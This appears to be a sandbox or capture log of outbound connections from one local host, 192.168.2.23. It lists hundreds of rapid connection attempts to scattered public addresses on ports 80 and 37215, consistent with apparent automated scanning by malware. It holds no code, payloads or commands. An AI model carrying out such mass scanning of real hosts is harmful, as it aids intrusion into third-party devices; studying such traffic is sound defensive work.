Jan 2, 2024 06:23:44.191302061 CET	18377	80	192.168.2.23	201.242.31.123
Jan 2, 2024 06:23:44.191306114 CET	18377	80	192.168.2.23	146.103.240.84
Jan 2, 2024 06:23:44.191312075 CET	18377	80	192.168.2.23	200.120.180.49
Jan 2, 2024 06:23:44.191322088 CET	18377	80	192.168.2.23	85.190.98.112
Jan 2, 2024 06:23:44.191323996 CET	18377	80	192.168.2.23	131.105.58.104
Jan 2, 2024 06:23:44.191324949 CET	18377	80	192.168.2.23	179.54.55.222
Jan 2, 2024 06:23:44.191325903 CET	18377	80	192.168.2.23	189.85.48.13
Jan 2, 2024 06:23:44.191340923 CET	18377	80	192.168.2.23	89.96.176.12
Jan 2, 2024 06:23:44.191342115 CET	18377	80	192.168.2.23	117.194.81.23
Jan 2, 2024 06:23:44.191350937 CET	18377	80	192.168.2.23	36.142.247.168
Jan 2, 2024 06:23:44.191358089 CET	18377	80	192.168.2.23	203.137.36.18
Jan 2, 2024 06:23:44.191358089 CET	18377	80	192.168.2.23	170.203.138.123
Jan 2, 2024 06:23:44.191359043 CET	18377	80	192.168.2.23	197.127.136.42
Jan 2, 2024 06:23:44.191361904 CET	18377	80	192.168.2.23	210.234.9.33
Jan 2, 2024 06:23:44.191361904 CET	18377	80	192.168.2.23	152.88.25.127
Jan 2, 2024 06:23:44.191368103 CET	18377	80	192.168.2.23	139.243.44.17
Jan 2, 2024 06:23:44.191368103 CET	18377	80	192.168.2.23	96.29.74.53
Jan 2, 2024 06:23:44.191370964 CET	18377	80	192.168.2.23	153.128.227.226
Jan 2, 2024 06:23:44.191385984 CET	18377	80	192.168.2.23	128.98.203.213
Jan 2, 2024 06:23:44.191395044 CET	18377	80	192.168.2.23	137.179.43.34
Jan 2, 2024 06:23:44.191396952 CET	18377	80	192.168.2.23	111.119.252.98
Jan 2, 2024 06:23:44.191405058 CET	18377	80	192.168.2.23	2.186.45.91
Jan 2, 2024 06:23:44.191405058 CET	18377	80	192.168.2.23	188.201.116.81
Jan 2, 2024 06:23:44.191409111 CET	18377	80	192.168.2.23	129.147.37.82
Jan 2, 2024 06:23:44.191409111 CET	18377	80	192.168.2.23	76.165.191.162
Jan 2, 2024 06:23:44.191414118 CET	18377	80	192.168.2.23	126.201.113.224
Jan 2, 2024 06:23:44.191426039 CET	18377	80	192.168.2.23	13.56.246.13
Jan 2, 2024 06:23:44.191430092 CET	18377	80	192.168.2.23	112.225.105.237
Jan 2, 2024 06:23:44.191437960 CET	18377	80	192.168.2.23	222.1.123.195
Jan 2, 2024 06:23:44.191443920 CET	18377	80	192.168.2.23	58.169.237.175
Jan 2, 2024 06:23:44.191443920 CET	18377	80	192.168.2.23	186.36.206.192
Jan 2, 2024 06:23:44.191443920 CET	18377	80	192.168.2.23	209.160.90.175
Jan 2, 2024 06:23:44.191453934 CET	18377	80	192.168.2.23	109.193.138.47
Jan 2, 2024 06:23:44.191458941 CET	18377	80	192.168.2.23	178.42.240.219
Jan 2, 2024 06:23:44.191468954 CET	18377	80	192.168.2.23	120.235.57.169
Jan 2, 2024 06:23:44.191476107 CET	18377	80	192.168.2.23	118.243.140.182
Jan 2, 2024 06:23:44.191483021 CET	18377	80	192.168.2.23	80.233.39.233
Jan 2, 2024 06:23:44.191483021 CET	18377	80	192.168.2.23	193.19.22.42
Jan 2, 2024 06:23:44.191483021 CET	18377	80	192.168.2.23	116.92.27.170
Jan 2, 2024 06:23:44.191484928 CET	18377	80	192.168.2.23	181.32.27.252
Jan 2, 2024 06:23:44.191509008 CET	18377	80	192.168.2.23	91.206.129.142
Jan 2, 2024 06:23:44.191512108 CET	18377	80	192.168.2.23	103.105.96.65
Jan 2, 2024 06:23:44.191512108 CET	18377	80	192.168.2.23	175.210.138.238
Jan 2, 2024 06:23:44.191513062 CET	18377	80	192.168.2.23	2.244.127.135
Jan 2, 2024 06:23:44.191517115 CET	18377	80	192.168.2.23	201.169.205.53
Jan 2, 2024 06:23:44.191518068 CET	18377	80	192.168.2.23	182.209.126.13
Jan 2, 2024 06:23:44.191534042 CET	18377	80	192.168.2.23	190.231.85.154
Jan 2, 2024 06:23:44.191534996 CET	18377	80	192.168.2.23	193.118.195.2
Jan 2, 2024 06:23:44.191534996 CET	18377	80	192.168.2.23	50.217.158.189
Jan 2, 2024 06:23:44.191540956 CET	18377	80	192.168.2.23	209.47.90.162
Jan 2, 2024 06:23:44.191540956 CET	18377	80	192.168.2.23	18.196.185.49
Jan 2, 2024 06:23:44.191540956 CET	18377	80	192.168.2.23	131.14.84.73
Jan 2, 2024 06:23:44.191540956 CET	18377	80	192.168.2.23	171.16.249.128
Jan 2, 2024 06:23:44.191543102 CET	18377	80	192.168.2.23	44.80.211.254
Jan 2, 2024 06:23:44.191543102 CET	18377	80	192.168.2.23	173.212.225.151
Jan 2, 2024 06:23:44.191543102 CET	18377	80	192.168.2.23	62.251.37.87
Jan 2, 2024 06:23:44.191548109 CET	18377	80	192.168.2.23	165.18.52.129
Jan 2, 2024 06:23:44.191548109 CET	18377	80	192.168.2.23	155.167.39.104
Jan 2, 2024 06:23:44.191560984 CET	18377	80	192.168.2.23	195.100.152.17
Jan 2, 2024 06:23:44.191562891 CET	18377	80	192.168.2.23	144.171.87.33
Jan 2, 2024 06:23:44.191562891 CET	18377	80	192.168.2.23	171.156.188.55
Jan 2, 2024 06:23:44.191565990 CET	18377	80	192.168.2.23	209.162.255.18
Jan 2, 2024 06:23:44.191566944 CET	18377	80	192.168.2.23	12.175.144.55
Jan 2, 2024 06:23:44.191570044 CET	18377	80	192.168.2.23	101.6.154.150
Jan 2, 2024 06:23:44.191571951 CET	18377	80	192.168.2.23	162.195.135.44
Jan 2, 2024 06:23:44.191581964 CET	18377	80	192.168.2.23	187.124.164.79
Jan 2, 2024 06:23:44.191581964 CET	18377	80	192.168.2.23	1.115.187.135
Jan 2, 2024 06:23:44.191584110 CET	18377	80	192.168.2.23	74.221.215.152
Jan 2, 2024 06:23:44.191596985 CET	18377	80	192.168.2.23	94.146.98.10
Jan 2, 2024 06:23:44.191598892 CET	18377	80	192.168.2.23	193.163.131.241
Jan 2, 2024 06:23:44.191612959 CET	18377	80	192.168.2.23	193.51.10.58
Jan 2, 2024 06:23:44.191617012 CET	18377	80	192.168.2.23	222.6.58.179
Jan 2, 2024 06:23:44.191634893 CET	18377	80	192.168.2.23	32.231.195.119
Jan 2, 2024 06:23:44.191636086 CET	18377	80	192.168.2.23	200.222.133.46
Jan 2, 2024 06:23:44.191636086 CET	18377	80	192.168.2.23	91.74.240.43
Jan 2, 2024 06:23:44.191636086 CET	18377	80	192.168.2.23	101.197.3.242
Jan 2, 2024 06:23:44.191643953 CET	18377	80	192.168.2.23	58.219.198.20
Jan 2, 2024 06:23:44.191644907 CET	18377	80	192.168.2.23	66.144.244.236
Jan 2, 2024 06:23:44.191644907 CET	18377	80	192.168.2.23	117.53.38.222
Jan 2, 2024 06:23:44.191652060 CET	18377	80	192.168.2.23	216.101.102.115
Jan 2, 2024 06:23:44.191656113 CET	18377	80	192.168.2.23	203.12.41.143
Jan 2, 2024 06:23:44.191659927 CET	18377	80	192.168.2.23	102.85.127.140
Jan 2, 2024 06:23:44.191668034 CET	18377	80	192.168.2.23	159.172.233.254
Jan 2, 2024 06:23:44.191669941 CET	18377	80	192.168.2.23	24.129.47.157
Jan 2, 2024 06:23:44.191669941 CET	18377	80	192.168.2.23	147.36.26.208
Jan 2, 2024 06:23:44.191670895 CET	18377	80	192.168.2.23	213.35.207.5
Jan 2, 2024 06:23:44.191670895 CET	18377	80	192.168.2.23	212.2.25.149
Jan 2, 2024 06:23:44.191680908 CET	18377	80	192.168.2.23	182.53.142.81
Jan 2, 2024 06:23:44.191684008 CET	18377	80	192.168.2.23	101.134.27.172
Jan 2, 2024 06:23:44.191688061 CET	18377	80	192.168.2.23	163.173.14.71
Jan 2, 2024 06:23:44.191699982 CET	18377	80	192.168.2.23	83.106.230.100
Jan 2, 2024 06:23:44.191699982 CET	18377	80	192.168.2.23	14.156.110.229
Jan 2, 2024 06:23:44.191700935 CET	18377	80	192.168.2.23	34.49.37.216
Jan 2, 2024 06:23:44.191724062 CET	18377	80	192.168.2.23	220.225.28.81
Jan 2, 2024 06:23:44.191724062 CET	18377	80	192.168.2.23	213.15.189.1
Jan 2, 2024 06:23:44.191732883 CET	18377	80	192.168.2.23	122.78.53.28
Jan 2, 2024 06:23:44.191734076 CET	18377	80	192.168.2.23	208.29.147.205
Jan 2, 2024 06:23:44.191734076 CET	18377	80	192.168.2.23	136.11.245.71
Jan 2, 2024 06:23:44.191736937 CET	18377	80	192.168.2.23	211.100.58.102
Jan 2, 2024 06:23:44.191736937 CET	18377	80	192.168.2.23	119.173.73.253
Jan 2, 2024 06:23:44.191736937 CET	18377	80	192.168.2.23	205.152.254.85
Jan 2, 2024 06:23:44.191736937 CET	18377	80	192.168.2.23	32.177.66.65
Jan 2, 2024 06:23:44.191742897 CET	18377	80	192.168.2.23	92.238.72.36
Jan 2, 2024 06:23:44.191745043 CET	18377	80	192.168.2.23	207.38.214.99
Jan 2, 2024 06:23:44.191747904 CET	18377	80	192.168.2.23	90.218.82.107
Jan 2, 2024 06:23:44.191747904 CET	18377	80	192.168.2.23	180.38.240.187
Jan 2, 2024 06:23:44.191747904 CET	18377	80	192.168.2.23	163.237.184.99
Jan 2, 2024 06:23:44.191751003 CET	18377	80	192.168.2.23	212.128.139.245
Jan 2, 2024 06:23:44.191751957 CET	18377	80	192.168.2.23	12.178.75.92
Jan 2, 2024 06:23:44.191754103 CET	18377	80	192.168.2.23	94.165.123.12
Jan 2, 2024 06:23:44.191754103 CET	18377	80	192.168.2.23	38.106.168.163
Jan 2, 2024 06:23:44.191768885 CET	18377	80	192.168.2.23	201.136.30.211
Jan 2, 2024 06:23:44.191768885 CET	18377	80	192.168.2.23	83.169.233.230
Jan 2, 2024 06:23:44.191768885 CET	18377	80	192.168.2.23	18.78.246.97
Jan 2, 2024 06:23:44.191776991 CET	18377	80	192.168.2.23	193.209.133.95
Jan 2, 2024 06:23:44.191776991 CET	18377	80	192.168.2.23	115.75.91.206
Jan 2, 2024 06:23:44.191777945 CET	18377	80	192.168.2.23	124.89.143.81
Jan 2, 2024 06:23:44.191787958 CET	18377	80	192.168.2.23	43.25.85.2
Jan 2, 2024 06:23:44.191791058 CET	18377	80	192.168.2.23	210.144.92.160
Jan 2, 2024 06:23:44.191801071 CET	18377	80	192.168.2.23	111.151.3.230
Jan 2, 2024 06:23:44.191802025 CET	18377	80	192.168.2.23	73.242.228.21
Jan 2, 2024 06:23:44.191807985 CET	18377	80	192.168.2.23	122.141.3.4
Jan 2, 2024 06:23:44.191807985 CET	18377	80	192.168.2.23	120.207.137.46
Jan 2, 2024 06:23:44.191817045 CET	18377	80	192.168.2.23	157.186.205.38
Jan 2, 2024 06:23:44.191824913 CET	18377	80	192.168.2.23	135.180.61.3
Jan 2, 2024 06:23:44.191833973 CET	18377	80	192.168.2.23	48.127.208.214
Jan 2, 2024 06:23:44.191836119 CET	18377	80	192.168.2.23	98.167.145.185
Jan 2, 2024 06:23:44.191836119 CET	18377	80	192.168.2.23	194.10.166.134
Jan 2, 2024 06:23:44.191853046 CET	18377	80	192.168.2.23	81.90.18.56
Jan 2, 2024 06:23:44.191855907 CET	18377	80	192.168.2.23	34.247.104.250
Jan 2, 2024 06:23:44.191855907 CET	18377	80	192.168.2.23	17.67.235.84
Jan 2, 2024 06:23:44.191862106 CET	18377	80	192.168.2.23	101.240.253.228
Jan 2, 2024 06:23:44.191868067 CET	18377	80	192.168.2.23	115.139.49.64
Jan 2, 2024 06:23:44.191881895 CET	18377	80	192.168.2.23	148.178.7.167
Jan 2, 2024 06:23:44.191885948 CET	18377	80	192.168.2.23	218.239.233.93
Jan 2, 2024 06:23:44.191886902 CET	18377	80	192.168.2.23	74.47.163.251
Jan 2, 2024 06:23:44.191890001 CET	18377	80	192.168.2.23	144.237.160.4
Jan 2, 2024 06:23:44.191895962 CET	18377	80	192.168.2.23	160.235.249.237
Jan 2, 2024 06:23:44.191903114 CET	18377	80	192.168.2.23	167.154.18.210
Jan 2, 2024 06:23:44.191912889 CET	18377	80	192.168.2.23	128.254.252.210
Jan 2, 2024 06:23:44.191919088 CET	18377	80	192.168.2.23	69.191.172.172
Jan 2, 2024 06:23:44.191919088 CET	18377	80	192.168.2.23	168.43.33.56
Jan 2, 2024 06:23:44.191921949 CET	18377	80	192.168.2.23	5.66.115.26
Jan 2, 2024 06:23:44.191922903 CET	18377	80	192.168.2.23	20.124.177.47
Jan 2, 2024 06:23:44.191930056 CET	18377	80	192.168.2.23	116.7.85.184
Jan 2, 2024 06:23:44.191936970 CET	18377	80	192.168.2.23	133.97.46.55
Jan 2, 2024 06:23:44.191940069 CET	18377	80	192.168.2.23	126.154.168.166
Jan 2, 2024 06:23:44.191942930 CET	18377	80	192.168.2.23	206.246.212.225
Jan 2, 2024 06:23:44.191947937 CET	18377	80	192.168.2.23	109.71.67.211
Jan 2, 2024 06:23:44.191963911 CET	18377	80	192.168.2.23	52.130.236.20
Jan 2, 2024 06:23:44.191967010 CET	18377	80	192.168.2.23	67.88.253.68
Jan 2, 2024 06:23:44.191970110 CET	18377	80	192.168.2.23	157.232.116.57
Jan 2, 2024 06:23:44.191976070 CET	18377	80	192.168.2.23	146.202.78.158
Jan 2, 2024 06:23:44.191977978 CET	18377	80	192.168.2.23	186.98.181.148
Jan 2, 2024 06:23:44.191977978 CET	18377	80	192.168.2.23	206.166.18.89
Jan 2, 2024 06:23:44.191977978 CET	18377	80	192.168.2.23	65.143.22.52
Jan 2, 2024 06:23:44.191978931 CET	18377	80	192.168.2.23	86.163.50.171
Jan 2, 2024 06:23:44.191988945 CET	18377	80	192.168.2.23	34.183.146.191
Jan 2, 2024 06:23:44.191989899 CET	18377	80	192.168.2.23	218.123.192.197
Jan 2, 2024 06:23:44.191989899 CET	18377	80	192.168.2.23	63.28.191.6
Jan 2, 2024 06:23:44.191996098 CET	18377	80	192.168.2.23	116.111.218.207
Jan 2, 2024 06:23:44.191997051 CET	18377	80	192.168.2.23	57.176.55.32
Jan 2, 2024 06:23:44.191997051 CET	18377	80	192.168.2.23	67.176.163.21
Jan 2, 2024 06:23:44.191999912 CET	18377	80	192.168.2.23	158.20.175.225
Jan 2, 2024 06:23:44.192002058 CET	18377	80	192.168.2.23	111.221.45.23
Jan 2, 2024 06:23:44.192003965 CET	18377	80	192.168.2.23	23.170.225.148
Jan 2, 2024 06:23:44.192003965 CET	18377	80	192.168.2.23	122.33.6.113
Jan 2, 2024 06:23:44.192006111 CET	18377	80	192.168.2.23	178.176.245.187
Jan 2, 2024 06:23:44.192006111 CET	18377	80	192.168.2.23	163.89.135.35
Jan 2, 2024 06:23:44.192009926 CET	18377	80	192.168.2.23	192.70.78.13
Jan 2, 2024 06:23:44.192013025 CET	18377	80	192.168.2.23	213.52.118.83
Jan 2, 2024 06:23:44.192013025 CET	18377	80	192.168.2.23	49.4.20.143
Jan 2, 2024 06:23:44.192013979 CET	18377	80	192.168.2.23	75.155.209.251
Jan 2, 2024 06:23:44.192024946 CET	18377	80	192.168.2.23	135.127.49.45
Jan 2, 2024 06:23:44.192024946 CET	18377	80	192.168.2.23	196.210.141.153
Jan 2, 2024 06:23:44.192032099 CET	18377	80	192.168.2.23	68.204.140.8
Jan 2, 2024 06:23:44.192039967 CET	18377	80	192.168.2.23	183.162.116.242
Jan 2, 2024 06:23:44.192049980 CET	18377	80	192.168.2.23	143.177.134.24
Jan 2, 2024 06:23:44.192049980 CET	18377	80	192.168.2.23	43.200.182.136
Jan 2, 2024 06:23:44.192065001 CET	18377	80	192.168.2.23	149.166.155.118
Jan 2, 2024 06:23:44.192069054 CET	18377	80	192.168.2.23	198.240.18.231
Jan 2, 2024 06:23:44.192071915 CET	18377	80	192.168.2.23	72.177.219.146
Jan 2, 2024 06:23:44.192076921 CET	18377	80	192.168.2.23	78.94.73.122
Jan 2, 2024 06:23:44.192080975 CET	18377	80	192.168.2.23	200.19.83.192
Jan 2, 2024 06:23:44.192086935 CET	18377	80	192.168.2.23	4.156.79.146
Jan 2, 2024 06:23:44.192100048 CET	18377	80	192.168.2.23	45.89.30.103
Jan 2, 2024 06:23:44.192104101 CET	18377	80	192.168.2.23	1.138.240.11
Jan 2, 2024 06:23:44.192105055 CET	18377	80	192.168.2.23	48.68.31.155
Jan 2, 2024 06:23:44.192105055 CET	18377	80	192.168.2.23	51.174.20.139
Jan 2, 2024 06:23:44.192111969 CET	18377	80	192.168.2.23	208.90.133.25
Jan 2, 2024 06:23:44.192111969 CET	18377	80	192.168.2.23	149.39.41.105
Jan 2, 2024 06:23:44.192116976 CET	18377	80	192.168.2.23	65.113.68.109
Jan 2, 2024 06:23:44.192117929 CET	18377	80	192.168.2.23	147.94.169.34
Jan 2, 2024 06:23:44.192117929 CET	18377	80	192.168.2.23	5.97.130.29
Jan 2, 2024 06:23:44.192131996 CET	18377	80	192.168.2.23	151.136.192.71
Jan 2, 2024 06:23:44.192133904 CET	18377	80	192.168.2.23	162.134.158.131
Jan 2, 2024 06:23:44.192136049 CET	18377	80	192.168.2.23	202.252.251.89
Jan 2, 2024 06:23:44.192137957 CET	18377	80	192.168.2.23	176.25.171.39
Jan 2, 2024 06:23:44.192140102 CET	18377	80	192.168.2.23	9.171.144.15
Jan 2, 2024 06:23:44.192145109 CET	18377	80	192.168.2.23	42.99.8.207
Jan 2, 2024 06:23:44.192154884 CET	18377	80	192.168.2.23	159.17.90.255
Jan 2, 2024 06:23:44.192154884 CET	18377	80	192.168.2.23	223.190.32.104
Jan 2, 2024 06:23:44.192156076 CET	18377	80	192.168.2.23	40.56.120.0
Jan 2, 2024 06:23:44.192159891 CET	18377	80	192.168.2.23	66.147.159.210
Jan 2, 2024 06:23:44.192169905 CET	18377	80	192.168.2.23	167.29.237.170
Jan 2, 2024 06:23:44.192172050 CET	18377	80	192.168.2.23	86.225.220.27
Jan 2, 2024 06:23:44.192184925 CET	18377	80	192.168.2.23	43.129.169.223
Jan 2, 2024 06:23:44.192188025 CET	18377	80	192.168.2.23	41.80.66.173
Jan 2, 2024 06:23:44.192203045 CET	18377	80	192.168.2.23	46.29.66.119
Jan 2, 2024 06:23:44.206257105 CET	24529	37215	192.168.2.23	156.130.14.43
Jan 2, 2024 06:23:44.206273079 CET	24529	37215	192.168.2.23	156.6.50.66
Jan 2, 2024 06:23:44.206273079 CET	24529	37215	192.168.2.23	197.254.122.214
Jan 2, 2024 06:23:44.206274033 CET	24529	37215	192.168.2.23	197.132.216.126
Jan 2, 2024 06:23:44.206274033 CET	24529	37215	192.168.2.23	41.228.99.54
Jan 2, 2024 06:23:44.206275940 CET	24529	37215	192.168.2.23	197.33.167.11
Jan 2, 2024 06:23:44.206289053 CET	24529	37215	192.168.2.23	156.4.221.51
Jan 2, 2024 06:23:44.206290007 CET	24529	37215	192.168.2.23	156.104.170.116
Jan 2, 2024 06:23:44.206290960 CET	24529	37215	192.168.2.23	41.251.92.177
Jan 2, 2024 06:23:44.206293106 CET	24529	37215	192.168.2.23	197.244.71.251
Jan 2, 2024 06:23:44.206300974 CET	24529	37215	192.168.2.23	197.121.109.29
Jan 2, 2024 06:23:44.206300974 CET	24529	37215	192.168.2.23	41.82.48.82
Jan 2, 2024 06:23:44.206302881 CET	24529	37215	192.168.2.23	197.115.236.84
Jan 2, 2024 06:23:44.206305027 CET	24529	37215	192.168.2.23	41.82.3.3
Jan 2, 2024 06:23:44.206305027 CET	24529	37215	192.168.2.23	197.80.216.1
Jan 2, 2024 06:23:44.206305027 CET	24529	37215	192.168.2.23	156.164.15.249
Jan 2, 2024 06:23:44.206316948 CET	24529	37215	192.168.2.23	156.67.121.57
Jan 2, 2024 06:23:44.206324100 CET	24529	37215	192.168.2.23	41.61.78.168
Jan 2, 2024 06:23:44.206325054 CET	24529	37215	192.168.2.23	197.198.21.208
Jan 2, 2024 06:23:44.206334114 CET	24529	37215	192.168.2.23	41.247.80.82
Jan 2, 2024 06:23:44.206336975 CET	24529	37215	192.168.2.23	197.130.74.150
Jan 2, 2024 06:23:44.206336975 CET	24529	37215	192.168.2.23	197.189.10.214
Jan 2, 2024 06:23:44.206336975 CET	24529	37215	192.168.2.23	41.100.194.207
Jan 2, 2024 06:23:44.206340075 CET	24529	37215	192.168.2.23	197.155.149.65
Jan 2, 2024 06:23:44.206341982 CET	24529	37215	192.168.2.23	41.219.139.107
Jan 2, 2024 06:23:44.206341982 CET	24529	37215	192.168.2.23	156.134.56.10
Jan 2, 2024 06:23:44.206341982 CET	24529	37215	192.168.2.23	197.127.211.208
Jan 2, 2024 06:23:44.206345081 CET	24529	37215	192.168.2.23	156.216.43.202
Jan 2, 2024 06:23:44.206345081 CET	24529	37215	192.168.2.23	197.98.67.57
Jan 2, 2024 06:23:44.206358910 CET	24529	37215	192.168.2.23	41.23.240.104
Jan 2, 2024 06:23:44.206363916 CET	24529	37215	192.168.2.23	156.34.65.214
Jan 2, 2024 06:23:44.206363916 CET	24529	37215	192.168.2.23	197.152.96.154
Jan 2, 2024 06:23:44.206372023 CET	24529	37215	192.168.2.23	197.53.211.113
Jan 2, 2024 06:23:44.206372976 CET	24529	37215	192.168.2.23	41.22.158.71
Jan 2, 2024 06:23:44.206373930 CET	24529	37215	192.168.2.23	41.82.119.202
Jan 2, 2024 06:23:44.206381083 CET	24529	37215	192.168.2.23	41.146.240.239
Jan 2, 2024 06:23:44.206382990 CET	24529	37215	192.168.2.23	197.210.245.29
Jan 2, 2024 06:23:44.206386089 CET	24529	37215	192.168.2.23	41.250.247.215
Jan 2, 2024 06:23:44.206387043 CET	24529	37215	192.168.2.23	197.223.188.182
Jan 2, 2024 06:23:44.206389904 CET	24529	37215	192.168.2.23	197.150.50.34
Jan 2, 2024 06:23:44.206394911 CET	24529	37215	192.168.2.23	41.241.32.170
Jan 2, 2024 06:23:44.206398010 CET	24529	37215	192.168.2.23	156.243.68.47
Jan 2, 2024 06:23:44.206398010 CET	24529	37215	192.168.2.23	156.144.172.172
Jan 2, 2024 06:23:44.206398010 CET	24529	37215	192.168.2.23	41.121.198.1
Jan 2, 2024 06:23:44.206401110 CET	24529	37215	192.168.2.23	197.241.42.166
Jan 2, 2024 06:23:44.206401110 CET	24529	37215	192.168.2.23	41.69.103.107
Jan 2, 2024 06:23:44.206404924 CET	24529	37215	192.168.2.23	41.199.172.110
Jan 2, 2024 06:23:44.206408978 CET	24529	37215	192.168.2.23	156.139.143.204
Jan 2, 2024 06:23:44.206417084 CET	24529	37215	192.168.2.23	197.24.24.222
Jan 2, 2024 06:23:44.206427097 CET	24529	37215	192.168.2.23	197.154.138.62
Jan 2, 2024 06:23:44.206427097 CET	24529	37215	192.168.2.23	41.19.152.225
Jan 2, 2024 06:23:44.206427097 CET	24529	37215	192.168.2.23	197.79.128.157
Jan 2, 2024 06:23:44.206423998 CET	24529	37215	192.168.2.23	41.140.15.90
Jan 2, 2024 06:23:44.206423998 CET	24529	37215	192.168.2.23	197.113.190.114
Jan 2, 2024 06:23:44.206439018 CET	24529	37215	192.168.2.23	41.65.110.171
Jan 2, 2024 06:23:44.206439972 CET	24529	37215	192.168.2.23	156.41.232.247
Jan 2, 2024 06:23:44.206440926 CET	24529	37215	192.168.2.23	197.36.5.209
Jan 2, 2024 06:23:44.206449986 CET	24529	37215	192.168.2.23	41.140.16.156
Jan 2, 2024 06:23:44.206449986 CET	24529	37215	192.168.2.23	156.50.65.78
Jan 2, 2024 06:23:44.206451893 CET	24529	37215	192.168.2.23	41.170.165.167
Jan 2, 2024 06:23:44.206461906 CET	24529	37215	192.168.2.23	156.205.26.71
Jan 2, 2024 06:23:44.206461906 CET	24529	37215	192.168.2.23	41.11.205.5
Jan 2, 2024 06:23:44.206473112 CET	24529	37215	192.168.2.23	156.70.212.175
Jan 2, 2024 06:23:44.206473112 CET	24529	37215	192.168.2.23	156.105.251.120
Jan 2, 2024 06:23:44.206474066 CET	24529	37215	192.168.2.23	156.5.126.224
Jan 2, 2024 06:23:44.206476927 CET	24529	37215	192.168.2.23	156.82.96.139
Jan 2, 2024 06:23:44.206476927 CET	24529	37215	192.168.2.23	197.91.17.110
Jan 2, 2024 06:23:44.206480980 CET	24529	37215	192.168.2.23	41.240.31.226
Jan 2, 2024 06:23:44.206480980 CET	24529	37215	192.168.2.23	197.208.191.99
Jan 2, 2024 06:23:44.206482887 CET	24529	37215	192.168.2.23	41.193.97.53
Jan 2, 2024 06:23:44.206485987 CET	24529	37215	192.168.2.23	41.204.189.121
Jan 2, 2024 06:23:44.206496954 CET	24529	37215	192.168.2.23	41.0.204.236
Jan 2, 2024 06:23:44.206501961 CET	24529	37215	192.168.2.23	41.122.254.76
Jan 2, 2024 06:23:44.206501961 CET	24529	37215	192.168.2.23	197.193.60.92
Jan 2, 2024 06:23:44.206506968 CET	24529	37215	192.168.2.23	156.74.94.8
Jan 2, 2024 06:23:44.206520081 CET	24529	37215	192.168.2.23	41.74.246.195
Jan 2, 2024 06:23:44.206521034 CET	24529	37215	192.168.2.23	156.107.214.151
Jan 2, 2024 06:23:44.206537962 CET	24529	37215	192.168.2.23	197.254.216.170
Jan 2, 2024 06:23:44.206537962 CET	24529	37215	192.168.2.23	197.88.131.126
Jan 2, 2024 06:23:44.206538916 CET	24529	37215	192.168.2.23	41.33.208.46
Jan 2, 2024 06:23:44.206538916 CET	24529	37215	192.168.2.23	156.250.248.181
Jan 2, 2024 06:23:44.206538916 CET	24529	37215	192.168.2.23	197.155.85.149
Jan 2, 2024 06:23:44.206543922 CET	24529	37215	192.168.2.23	41.62.24.222
Jan 2, 2024 06:23:44.206545115 CET	24529	37215	192.168.2.23	156.200.66.91
Jan 2, 2024 06:23:44.206554890 CET	24529	37215	192.168.2.23	197.130.211.90
Jan 2, 2024 06:23:44.206561089 CET	24529	37215	192.168.2.23	41.164.99.106
Jan 2, 2024 06:23:44.206561089 CET	24529	37215	192.168.2.23	41.71.89.218
Jan 2, 2024 06:23:44.206564903 CET	24529	37215	192.168.2.23	41.144.84.199
Jan 2, 2024 06:23:44.206568003 CET	24529	37215	192.168.2.23	41.113.154.27
Jan 2, 2024 06:23:44.206568956 CET	24529	37215	192.168.2.23	197.201.26.23
Jan 2, 2024 06:23:44.206568956 CET	24529	37215	192.168.2.23	41.181.94.31
Jan 2, 2024 06:23:44.206571102 CET	24529	37215	192.168.2.23	156.240.44.77
Jan 2, 2024 06:23:44.206583977 CET	24529	37215	192.168.2.23	156.115.68.100
Jan 2, 2024 06:23:44.206592083 CET	24529	37215	192.168.2.23	41.238.35.220
Jan 2, 2024 06:23:44.206592083 CET	24529	37215	192.168.2.23	156.199.90.190
Jan 2, 2024 06:23:44.206592083 CET	24529	37215	192.168.2.23	41.124.121.74
Jan 2, 2024 06:23:44.206592083 CET	24529	37215	192.168.2.23	156.251.221.174
Jan 2, 2024 06:23:44.206592083 CET	24529	37215	192.168.2.23	197.96.100.14
Jan 2, 2024 06:23:44.206593990 CET	24529	37215	192.168.2.23	41.240.6.66
Jan 2, 2024 06:23:44.206605911 CET	24529	37215	192.168.2.23	156.82.12.217
Jan 2, 2024 06:23:44.206605911 CET	24529	37215	192.168.2.23	197.99.1.51
Jan 2, 2024 06:23:44.206619024 CET	24529	37215	192.168.2.23	41.64.70.182
Jan 2, 2024 06:23:44.206619024 CET	24529	37215	192.168.2.23	197.162.80.166
Jan 2, 2024 06:23:44.206625938 CET	24529	37215	192.168.2.23	41.237.111.47
Jan 2, 2024 06:23:44.206629038 CET	24529	37215	192.168.2.23	41.97.245.58
Jan 2, 2024 06:23:44.206629038 CET	24529	37215	192.168.2.23	41.1.44.198
Jan 2, 2024 06:23:44.206629038 CET	24529	37215	192.168.2.23	197.91.182.103
Jan 2, 2024 06:23:44.206630945 CET	24529	37215	192.168.2.23	156.66.96.231
Jan 2, 2024 06:23:44.206630945 CET	24529	37215	192.168.2.23	156.100.108.116
Jan 2, 2024 06:23:44.206630945 CET	24529	37215	192.168.2.23	41.101.252.194
Jan 2, 2024 06:23:44.206640959 CET	24529	37215	192.168.2.23	41.163.75.165
Jan 2, 2024 06:23:44.206640959 CET	24529	37215	192.168.2.23	197.121.207.58
Jan 2, 2024 06:23:44.206650019 CET	24529	37215	192.168.2.23	41.7.232.208
Jan 2, 2024 06:23:44.206653118 CET	24529	37215	192.168.2.23	156.131.229.53
Jan 2, 2024 06:23:44.206654072 CET	24529	37215	192.168.2.23	156.101.213.102
Jan 2, 2024 06:23:44.206662893 CET	24529	37215	192.168.2.23	41.25.206.251
Jan 2, 2024 06:23:44.206662893 CET	24529	37215	192.168.2.23	156.59.34.160
Jan 2, 2024 06:23:44.206662893 CET	24529	37215	192.168.2.23	197.65.173.105
Jan 2, 2024 06:23:44.206665993 CET	24529	37215	192.168.2.23	197.190.234.169
Jan 2, 2024 06:23:44.206666946 CET	24529	37215	192.168.2.23	41.56.197.91
Jan 2, 2024 06:23:44.206679106 CET	24529	37215	192.168.2.23	41.135.195.233
Jan 2, 2024 06:23:44.206681967 CET	24529	37215	192.168.2.23	197.193.172.103
Jan 2, 2024 06:23:44.206681967 CET	24529	37215	192.168.2.23	197.24.95.190
Jan 2, 2024 06:23:44.206681967 CET	24529	37215	192.168.2.23	156.169.217.133
Jan 2, 2024 06:23:44.206681967 CET	24529	37215	192.168.2.23	156.130.188.113
Jan 2, 2024 06:23:44.206681967 CET	24529	37215	192.168.2.23	41.95.123.162
Jan 2, 2024 06:23:44.206687927 CET	24529	37215	192.168.2.23	197.54.12.100
Jan 2, 2024 06:23:44.206698895 CET	24529	37215	192.168.2.23	41.47.115.172
